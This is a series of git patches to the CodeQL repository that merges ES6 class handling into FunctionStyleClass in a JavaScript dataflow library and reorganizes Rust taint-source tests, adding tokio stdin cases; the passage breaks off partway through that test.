From 6a284eeecb4feddcf7d5541461c377fef792e61c Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 23 Apr 2025 13:41:03 +0200 Subject: [PATCH 001/535] Merged `ES6Class` into `FunctionStyleClass` --- .../lib/semmle/javascript/dataflow/Nodes.qll | 277 ++++++++++-------- 1 file changed, 162 insertions(+), 115 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 2e2313835227..8b41ed5b82c2 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1214,81 +1214,6 @@ module ClassNode { DataFlow::Node getADecorator() { none() } } - /** - * An ES6 class as a `ClassNode` instance. - */ - private class ES6Class extends Range, DataFlow::ValueNode { - override ClassDefinition astNode; - - override string getName() { result = astNode.getName() } - - override string describe() { result = astNode.describe() } - - override FunctionNode getConstructor() { result = astNode.getConstructor().getBody().flow() } - - override FunctionNode getInstanceMember(string name, MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getMethod(name) and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource(name) - } - - override FunctionNode getAnInstanceMember(MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getAMethod() and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource() - } - - override FunctionNode getStaticMember(string name, MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getMethod(name) and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource(name) - } - - override FunctionNode getAStaticMember(MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getAMethod() and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource() - } - - override DataFlow::Node getASuperClassNode() { result = astNode.getSuperClass().flow() } - - override TypeAnnotation getFieldTypeAnnotation(string fieldName) { - exists(FieldDeclaration field | - field.getDeclaringClass() = astNode and - fieldName = field.getName() and - result = field.getTypeAnnotation() - ) - } - - override DataFlow::Node getADecorator() { - result = astNode.getADecorator().getExpression().flow() - } - } - private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { result.getBase() = AccessPath::getAReferenceOrAssignmentTo(name) and result.getPropertyName() = "prototype" and @@ -1313,12 +1238,18 @@ module ClassNode { /** * A function definition, targeted by a `new`-call or with prototype manipulation, seen as a `ClassNode` instance. + * Or An ES6 class as a `ClassNode` instance. */ class FunctionStyleClass extends Range, DataFlow::ValueNode { - override Function astNode; + override AST::ValueNode astNode; AbstractFunction function; FunctionStyleClass() { + // ES6 class case + astNode instanceof ClassDefinition + or + // Function-style class case + astNode instanceof Function and function.getFunction() = astNode and ( exists(getAFunctionValueWithPrototype(function)) @@ -1333,13 +1264,30 @@ module ClassNode { ) } - override string getName() { result = astNode.getName() } + override string getName() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).getName() + or + astNode instanceof Function and result = astNode.(Function).getName() + } - override string describe() { result = astNode.describe() } + override string describe() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).describe() + or + astNode instanceof Function and result = astNode.(Function).describe() + } - override FunctionNode getConstructor() { result = this } + override FunctionNode getConstructor() { + // For ES6 classes + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getConstructor().getBody().flow() + or + // For function-style classes + astNode instanceof Function and result = this + } private PropertyAccessor getAnAccessor(MemberKind kind) { + // Only applies to function-style classes + astNode instanceof Function and result.getObjectExpr() = this.getAPrototypeReference().asExpr() and ( kind = MemberKind::getter() and @@ -1351,12 +1299,41 @@ module ClassNode { } override FunctionNode getInstanceMember(string name, MemberKind kind) { + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // ES6 class property in constructor + astNode instanceof ClassDefinition and kind = MemberKind::method() and - result = this.getAPrototypeReference().getAPropertySource(name) + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + receiver.hasPropertyWrite(name, result) + ) + or + // Function-style class methods via prototype + astNode instanceof Function and + kind = MemberKind::method() and + exists(DataFlow::SourceNode proto | + proto = this.getAPrototypeReference() and + proto.hasPropertyWrite(name, result) + ) or + // Function-style class methods via constructor + astNode instanceof Function and kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource(name) + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + receiver.hasPropertyWrite(name, result) + ) or + // Function-style class accessors + astNode instanceof Function and exists(PropertyAccessor accessor | accessor = this.getAnAccessor(kind) and accessor.getName() = name and @@ -1365,12 +1342,41 @@ module ClassNode { } override FunctionNode getAnInstanceMember(MemberKind kind) { + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // ES6 class property in constructor + astNode instanceof ClassDefinition and + kind = MemberKind::method() and + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + result = receiver.getAPropertySource() + ) + or + // Function-style class methods via prototype + astNode instanceof Function and kind = MemberKind::method() and - result = this.getAPrototypeReference().getAPropertySource() + exists(DataFlow::SourceNode proto | + proto = this.getAPrototypeReference() and + result = proto.getAPropertySource() + ) or + // Function-style class methods via constructor + astNode instanceof Function and kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource() + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + result = receiver.getAPropertySource() + ) or + // Function-style class accessors + astNode instanceof Function and exists(PropertyAccessor accessor | accessor = this.getAnAccessor(kind) and result = accessor.getInit().flow() @@ -1378,60 +1384,101 @@ module ClassNode { } override FunctionNode getStaticMember(string name, MemberKind kind) { + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or kind.isMethod() and result = this.getAPropertySource(name) } override FunctionNode getAStaticMember(MemberKind kind) { + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or kind.isMethod() and result = this.getAPropertySource() } /** * Gets a reference to the prototype of this class. + * Only applies to function-style classes. */ DataFlow::SourceNode getAPrototypeReference() { - exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | - result = base.getAPropertyRead("prototype") + astNode instanceof Function and + ( + exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | + result = base.getAPropertyRead("prototype") + or + result = base.getAPropertySource("prototype") + ) or - result = base.getAPropertySource("prototype") - ) - or - exists(string name | - this = AccessPath::getAnAssignmentTo(name) and - result = getAPrototypeReferenceInFile(name, this.getFile()) - ) - or - exists(ExtendCall call | - call.getDestinationOperand() = this.getAPrototypeReference() and - result = call.getASourceOperand() + exists(string name | + this = AccessPath::getAnAssignmentTo(name) and + result = getAPrototypeReferenceInFile(name, this.getFile()) + ) + or + exists(ExtendCall call | + call.getDestinationOperand() = this.getAPrototypeReference() and + result = call.getASourceOperand() + ) ) } override DataFlow::Node getASuperClassNode() { - // C.prototype = Object.create(D.prototype) - exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | - this.getAPropertySource("prototype") = objectCreate and - objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and - superProto.flowsTo(objectCreate.getArgument(0)) and - superProto.getPropertyName() = "prototype" and - result = superProto.getBase() - ) + // ES6 class superclass + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getSuperClass().flow() or - // C.prototype = new D() - exists(DataFlow::NewNode newCall | - this.getAPropertySource("prototype") = newCall and - result = newCall.getCalleeNode() + // Function-style class superclass patterns + astNode instanceof Function and + ( + // C.prototype = Object.create(D.prototype) + exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | + this.getAPropertySource("prototype") = objectCreate and + objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and + superProto.flowsTo(objectCreate.getArgument(0)) and + superProto.getPropertyName() = "prototype" and + result = superProto.getBase() + ) + or + // C.prototype = new D() + exists(DataFlow::NewNode newCall | + this.getAPropertySource("prototype") = newCall and + result = newCall.getCalleeNode() + ) + or + // util.inherits(C, D); + exists(DataFlow::CallNode inheritsCall | + inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() + | + this = inheritsCall.getArgument(0).getALocalSource() and + result = inheritsCall.getArgument(1) + ) ) - or - // util.inherits(C, D); - exists(DataFlow::CallNode inheritsCall | - inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() - | - this = inheritsCall.getArgument(0).getALocalSource() and - result = inheritsCall.getArgument(1) + } + + override TypeAnnotation getFieldTypeAnnotation(string fieldName) { + exists(FieldDeclaration field | + field.getDeclaringClass() = astNode and + fieldName = field.getName() and + result = field.getTypeAnnotation() ) } + + override DataFlow::Node getADecorator() { + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getADecorator().getExpression().flow() + } } } From dcc488cb0587614fb0960e20b165bbf1a35b0888 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 17 Apr 2025 20:03:37 +0100 Subject: [PATCH 002/535] Rust: Clean up the sources test. --- .../dataflow/sources/TaintSources.expected | 52 ++--- .../library-tests/dataflow/sources/test.rs | 204 ++++++++++-------- 2 files changed, 146 insertions(+), 110 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index ba7eeae00081..47bdf01faf1e 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -20,30 +20,30 @@ | test.rs:74:26:74:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:77:26:77:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:80:24:80:35 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:112:35:112:46 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:112:31:112:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:119:31:119:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:205:31:205:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:210:31:210:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:215:22:215:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:221:22:221:25 | path | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:222:27:222:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:228:22:228:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:243:22:243:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:249:22:249:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:255:22:255:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:261:9:261:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:265:17:265:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:271:20:271:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:304:50:304:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:310:50:310:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:317:50:317:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:324:50:324:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:331:56:331:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:338:50:338:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:345:50:345:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:351:50:351:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:360:25:360:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:361:25:361:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:369:25:369:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:377:22:377:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:386:16:386:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:209:22:209:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:215:22:215:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:221:22:221:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:227:22:227:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:233:9:233:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:237:17:237:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:244:50:244:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:250:46:250:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:257:50:257:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:264:50:264:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:271:56:271:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:278:46:278:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:285:46:285:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:291:46:291:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:303:31:303:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:308:31:308:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:313:22:313:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:319:22:319:25 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:320:27:320:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:326:22:326:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:336:20:336:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:370:21:370:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:371:21:371:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:379:21:379:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:390:16:390:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 2ec0b8964ca2..8ffa464a0b44 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -106,10 +106,10 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { // make the request println!("sending request..."); - if (case == 0) { + if case == 0 { // simple flow case let request = http::Request::builder().uri(url).body(String::from(""))?; - let mut response = sender.send_request(request).await?; // $ Alert[rust/summary/taint-sources] + let response = sender.send_request(request).await?; // $ Alert[rust/summary/taint-sources] sink(&response); // $ hasTaintFlow=request sink(response); // $ hasTaintFlow=request return Ok(()) @@ -198,44 +198,10 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { Ok(()) } -use std::fs; - -fn test_fs() -> Result<(), Box> { - { - let buffer: Vec = std::fs::read("file.bin")?; // $ Alert[rust/summary/taint-sources] - sink(buffer); // $ hasTaintFlow="file.bin" - } - - { - let buffer: Vec = fs::read("file.bin")?; // $ Alert[rust/summary/taint-sources] - sink(buffer); // $ hasTaintFlow="file.bin" - } - - { - let buffer = fs::read_to_string("file.txt")?; // $ Alert[rust/summary/taint-sources] - sink(buffer); // $ hasTaintFlow="file.txt" - } - - for entry in fs::read_dir("directory")? { - let e = entry?; - let path = e.path(); // $ Alert[rust/summary/taint-sources] - let file_name = e.file_name(); // $ Alert[rust/summary/taint-sources] - sink(path); // $ hasTaintFlow - sink(file_name); // $ hasTaintFlow - } - - { - let target = fs::read_link("symlink.txt")?; // $ Alert[rust/summary/taint-sources] - sink(target); // $ hasTaintFlow="symlink.txt" - } - - Ok(()) -} - use std::io::Read; use std::io::BufRead; -fn test_io_fs() -> std::io::Result<()> { +fn test_io_stdin() -> std::io::Result<()> { // --- stdin --- { @@ -256,46 +222,20 @@ fn test_io_fs() -> std::io::Result<()> { sink(&buffer); // $ hasTaintFlow } - { - let mut buffer = [0; 100]; - std::io::stdin().read_exact(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow - } - - for byte in std::io::stdin().bytes() { // $ Alert[rust/summary/taint-sources] - sink(byte); // $ hasTaintFlow - } - - // --- file --- - - let mut file = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] - - { - let mut buffer = [0u8; 100]; - let _bytes = file.read(&mut buffer)?; - sink(&buffer); // $ hasTaintFlow="file.txt" - } - - { - let mut buffer = Vec::::new(); - let _bytes = file.read_to_end(&mut buffer)?; - sink(&buffer); // $ hasTaintFlow="file.txt" - } - { let mut buffer = String::new(); - let _bytes = file.read_to_string(&mut buffer)?; - sink(&buffer); // $ hasTaintFlow="file.txt" + let _bytes = std::io::stdin().lock().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow } { let mut buffer = [0; 100]; - file.read_exact(&mut buffer)?; - sink(&buffer); // $ hasTaintFlow="file.txt" + std::io::stdin().read_exact(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow } - for byte in file.bytes() { - sink(byte); // $ hasTaintFlow="file.txt" + for byte in std::io::stdin().bytes() { // $ Alert[rust/summary/taint-sources] + sink(byte); // $ hasTaintFlow } // --- BufReader --- @@ -307,7 +247,7 @@ fn test_io_fs() -> std::io::Result<()> { } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] let data = reader.buffer(); sink(&data); // $ hasTaintFlow } @@ -324,10 +264,10 @@ fn test_io_fs() -> std::io::Result<()> { let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] reader.read_until(b',', &mut buffer)?; sink(&buffer); // $ hasTaintFlow + sink(buffer[0]); // $ hasTaintFlow } { - let mut buffer = Vec::::new(); let mut reader_split = std::io::BufReader::new(std::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] while let Some(chunk) = reader_split.next() { sink(chunk.unwrap()); // $ MISSING: hasTaintFlow @@ -335,30 +275,100 @@ fn test_io_fs() -> std::io::Result<()> { } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] for line in reader.lines() { sink(line); // $ hasTaintFlow } } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] let line = reader.lines().nth(1).unwrap(); sink(line.unwrap().clone()); // $ MISSING: hasTaintFlow } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] let lines: Vec<_> = reader.lines().collect(); sink(lines[1].as_ref().unwrap().clone()); // $ MISSING: hasTaintFlow } + Ok(()) +} + +use std::fs; + +fn test_fs() -> Result<(), Box> { + { + let buffer: Vec = std::fs::read("file.bin")?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" + } + + { + let buffer: Vec = fs::read("file.bin")?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" + } + + { + let buffer = fs::read_to_string("file.txt")?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.txt" + } + + for entry in fs::read_dir("directory")? { + let e = entry?; + let path = e.path(); // $ Alert[rust/summary/taint-sources] + let file_name = e.file_name(); // $ Alert[rust/summary/taint-sources] + sink(path); // $ hasTaintFlow + sink(file_name); // $ hasTaintFlow + } + + { + let target = fs::read_link("symlink.txt")?; // $ Alert[rust/summary/taint-sources] + sink(target); // $ hasTaintFlow="symlink.txt" + } + + Ok(()) +} + +fn test_io_file() -> std::io::Result<()> { + // --- file --- + + let mut file = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + + { + let mut buffer = [0u8; 100]; + let _bytes = file.read(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" + } + + { + let mut buffer = Vec::::new(); + let _bytes = file.read_to_end(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" + } + + { + let mut buffer = String::new(); + let _bytes = file.read_to_string(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" + } + + { + let mut buffer = [0; 100]; + file.read_exact(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" + } + + for byte in file.bytes() { + sink(byte); // $ hasTaintFlow="file.txt" + } + // --- misc operations --- { let mut buffer = String::new(); - let mut file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] - let mut file2 = std::fs::File::open("another_file.txt")?; // $ Alert[rust/summary/taint-sources] + let file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + let file2 = std::fs::File::open("another_file.txt")?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.chain(file2); reader.read_to_string(&mut buffer)?; sink(&buffer); // $ hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" @@ -366,18 +376,12 @@ fn test_io_fs() -> std::io::Result<()> { { let mut buffer = String::new(); - let mut file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + let file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.take(100); reader.read_to_string(&mut buffer)?; sink(&buffer); // $ hasTaintFlow="file.txt" } - { - let mut buffer = String::new(); - let _bytes = std::io::stdin().lock().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow - } - Ok(()) } @@ -385,12 +389,44 @@ fn test_io_fs() -> std::io::Result<()> { async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] + println!("test_env_vars..."); + test_env_vars(); + + /*println!("test_env_args..."); + test_env_args();*/ + + println!("test_env_dirs..."); + test_env_dirs(); + + /*println!("test_reqwest..."); + match futures::executor::block_on(test_reqwest()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + }*/ + println!("test_hyper_http..."); match futures::executor::block_on(test_hyper_http(case)) { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), } - println!(""); + + /*println!("test_io_stdin..."); + match test_io_stdin() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + }*/ + + println!("test_fs..."); + match test_fs() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_io_file..."); + match test_io_file() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } Ok(()) } From 307424e87e4803fb0daa2b1702c1119ec2b3937f Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 10:53:36 +0100 Subject: [PATCH 003/535] Rust: Add source tests for tokio (stdin). --- .../dataflow/sources/TaintSources.expected | 22 ++--- .../library-tests/dataflow/sources/test.rs | 87 +++++++++++++++++++ 2 files changed, 98 insertions(+), 11 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 47bdf01faf1e..616195e5f311 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -36,14 +36,14 @@ | test.rs:278:46:278:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:285:46:285:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:291:46:291:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:303:31:303:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:308:31:308:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:313:22:313:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:319:22:319:25 | path | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:320:27:320:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:326:22:326:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:336:20:336:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:370:21:370:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:371:21:371:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:379:21:379:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:390:16:390:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:384:31:384:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:389:31:389:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:394:22:394:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:400:22:400:25 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:401:27:401:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:407:22:407:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:417:20:417:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:451:21:451:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:452:21:452:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:460:21:460:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:471:16:471:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 8ffa464a0b44..084df8bb13f2 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -296,6 +296,87 @@ fn test_io_stdin() -> std::io::Result<()> { Ok(()) } +use tokio::io::{AsyncReadExt, AsyncBufReadExt}; + +async fn test_tokio_stdin() -> Result<(), Box> { + + // --- async reading from stdin --- + + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut buffer = [0u8; 100]; + let _bytes = stdin.read(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut buffer = Vec::::new(); + let _bytes = stdin.read_to_end(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut buffer = String::new(); + let _bytes = stdin.read_to_string(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut buffer = [0; 100]; + stdin.read_exact(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + // --- async reading from stdin (BufReader) --- + + { + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let data = reader.fill_buf().await?; + sink(&data); // $ MISSING: hasTaintFlow + } + + { + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let data = reader.buffer(); + sink(&data); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = String::new(); + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + reader.read_line(&mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = Vec::::new(); + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + reader.read_until(b',', &mut buffer).await?; + sink(&buffer); // $ MISSING: hasTaintFlow + sink(buffer[0]); // $ MISSING: hasTaintFlow + } + + { + let mut reader_split = tokio::io::BufReader::new(tokio::io::stdin()).split(b','); // $ MISSING: 